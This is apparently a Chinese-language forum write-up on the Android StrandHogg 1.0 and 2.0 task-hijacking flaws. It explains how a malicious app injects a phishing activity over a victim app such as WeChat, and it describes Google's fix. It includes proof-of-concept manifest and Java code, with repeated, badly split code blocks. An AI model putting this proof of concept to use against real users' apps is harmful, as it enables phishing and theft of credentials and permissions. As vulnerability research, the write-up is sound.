该漏洞为一个 Android 任务栈劫持漏洞,在2019年披露,影响范围包括android10以下。该漏洞可以让恶意应用注入一个activity到他设定好的应用的顶层。因此恶意应用可以精心设计一个具有诱导性的activity注入到受害应用中进行攻击。
android 的四个启动模式:standard
,singleTop
,singleTask
,singleInstance
。不是本文重点,需要了解可以看(https://www.jianshu.com/p/ebde48a0a52c)
启动模式会导致一个应用中可能不止一个任务栈,单独一个activity可以独享一个任务栈。一个任务栈中的activity可以来自不同的应用,同一个应用的activity也可能不在一个Task中。
activity属性:
因为大部分应用的taskAffinity
属性都没有设置,默认为其包名,那么就可以通过一个在恶意软件的一个hackactivity属性中设置跟我们攻击的应用的包名一致的taskAffinity
值,那么该hackactivitystart的时候就会创建一个与victim应用的taskAffinity
属性相同的一个任务栈,到时候会和victim的应用共享一个任务栈,并且位于该任务栈的根,在我们启动受害应用时,该victim的任务就会被放到前台,然后位于根的hackactivity就会放到前台,那么当我们打开受害应用所看到的activity,并不是该应用原有的activity,而是我们的hackactivity,那么我们可以在hackactivity设计成一个钓鱼页面,实现钓鱼攻击,获取用户的隐私和诱导用户授予恶意软件相应权限。
三个activity,MainActivity用来启动其他的activity,Innocent是用来伪装自己的,通常是一个无害的界面,hack则是一个钓鱼界面。Hack中设allowTaskReparenting
和taskAffinity
两个属性,taskAffinity
设计为指定应用的包名,但是没有设计启动模式为singleTask
,只是在启动这个activity时,会对intent传入一个参数FLAG_ACTIVITY_NEW_TASK,这个在这里跟singleTask
的作用是类似的,具体区别可以看https://juejin.cn/post/6844903974269648903。
AndroidManifest.xml
:
MainActivity.java
:剩下的两个activity由于是没有什么实际意义的,只是修改ui,所以就没有放出
安装后,第一次点击这个应用图标,使用adb shell dumsys activity activities
查看任务栈
此时,当我们返回桌面点击我们要攻击的应用就会将那个页面替换为我们的hackactivity。然后就完成了攻击
成功的效果应该是当我们安装好恶意应用后,当我们点击恶意应用图标时,显示的是我们的innocent这个无害界面,然后返回桌面再我们被攻击的应用,会发现界面会被替换成我们的hackactivity。演示视频放在附件。
现在taskAffinity
属性只对相同UID的应用有效,也就是说,只有共享UID的应用才可以进行activity的移动,uid在应用安装时被分配,并且在应用存在于手机上期间,都不会改变。一个应用程序只能有一个uid,多个应用可以使用sharedUserId
方式共享同一个uid,但前提是这些应用的签名要相同。恶意应用也无法伪造uid,导致无法实现攻击。
strandhogg2.0和strandhogg1.0均为同一家公司promo披露,相比strandhogg1.0必须明确地将他们的目标应用程序硬编码到 Android Manifest,strandhogg2.0并不需要在androidmanifest.xml
上进行设计,而是在代码中实现,如有需要可以动态修改注入的应用程序,也可以同时对多个程序进行劫持。影响范围为android8和andorid9。
这个漏洞主要是利用startActivities这个api,它的功能是一次启动多个Activity,传入一个Intent数组,Android会解析每个Intent,并逐个启动它们。startActivities默认认为intent数组的第一个Activity的启动者是当前应用,而第二个Activity的启动者是第一个Activity所属的那个应用,依次类推,那么我们只要控制将第一个activity的所有者设为我们所要攻击的victim应用,那么就可以让我们的hackactivity被victim应用启动,就可以实现了activity劫持。
只需要修改MainActivity,Intents[0]需要设置的是victim应用的包名和包名+类名,从而使得Intents[1]里的activity能够从victim应用中启动,就可以实现页面替换。
在我们安装后恶意应用后,首先点击victim应用,返回桌面,然后点击恶意应用,然后再返回点击victim应用,就会发现界面被替换为了Hack1这个activity。此时用adb shell dumpsys activity activities
查看受害应用的任务栈和恶意应用的任务栈:
可以发现,我们的Hack1这个activity已经是位于我们受害应用的任务栈的顶层了,也没有出现在我们的攻击应用。最终效果如下,在victim应用中出现了我们的activity。美中不足的是在当我们第一次点击恶意应用的时候,由于我们使用了startactivities,所以在我们的恶意应用也是会直接转到Hack1这个activity,返回前台后在点击恶意应用才不会出现Hack1,而是显示MainActivity。
google后面更新了安全补丁,修改了ActivityStarter.java这文件,只有与和调用者具有相同 uid 的已启动 activity 才可以成为下一个活动的调用者。
https://wrlus.com/security/mobile/android-strandhogg-2/
https://promon.co/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability/#what-can-a-potential-attacker-do
https://promon.co/security-news/the-strandhogg-vulnerability/#has-strandhogg-been-abused-in-real-world-cases
https://www.cnblogs.com/aldys4/p/14879604.html
https://developer.android.com/guide/topics/manifest/activity-element?hl=zh-cn
<activity android:name
=
".inject_activity"
android:allowTaskReparenting
=
"true"
android:taskAffinity
=
"com.xx.mm"
/
>
<activity
<activity android:name
=
".inject_activity"
android:allowTaskReparenting
=
"true"
android:taskAffinity
=
"com.xx.mm"
/
>
<activity
<activity android:name
=
".Innocent"
><
/
activity>
<activity
android:name
=
".Hack"
android:allowTaskReparenting
=
"true"
android:taskAffinity
=
"com.tencent.mm"
/
>
<activity android:name
=
".MainActivity"
>
<intent
-
filter
>
<action android:name
=
"android.intent.action.MAIN"
/
>
<category android:name
=
"android.intent.category.LAUNCHER"
/
>
<
/
intent
-
filter
>
<
/
activity>
<activity android:name
=
".Innocent"
><
/
activity>
<activity
android:name
=
".Hack"
android:allowTaskReparenting
=
"true"
android:taskAffinity
=
"com.tencent.mm"
/
>
<activity android:name
=
".MainActivity"
>
<intent
-
filter
>
<action android:name
=
"android.intent.action.MAIN"
/
>
<category android:name
=
"android.intent.category.LAUNCHER"
/
>
<
/
intent
-
filter
>
<
/
activity>
public
class
MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
/
/
启动两个活动
Intent hack_intent;
Log.d(
"MainActivity的TaskId"
, getTaskId()
+
"");
hack_intent
=
new Intent(this, Hack.
class
);
/
/
FLAG_ACTIVITY_NEW_TASK:相当于使用了launchMode
=
singleTop
hack_intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(hack_intent);
Intent innocent_intent;
innocent_intent
=
new Intent(this,Innocent.
class
);
startActivity(innocent_intent);
/
/
finish();
}
}
public
class
MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
/
/
启动两个活动
Intent hack_intent;
Log.d(
"MainActivity的TaskId"
, getTaskId()
+
"");
hack_intent
=
new Intent(this, Hack.
class
);
/
/
FLAG_ACTIVITY_NEW_TASK:相当于使用了launchMode
=
singleTop
hack_intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(hack_intent);
Intent innocent_intent;
innocent_intent
=
new Intent(this,Innocent.
class
);
startActivity(innocent_intent);
/
/
finish();
}
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-2-11 16:57
被mb44编辑
,原因: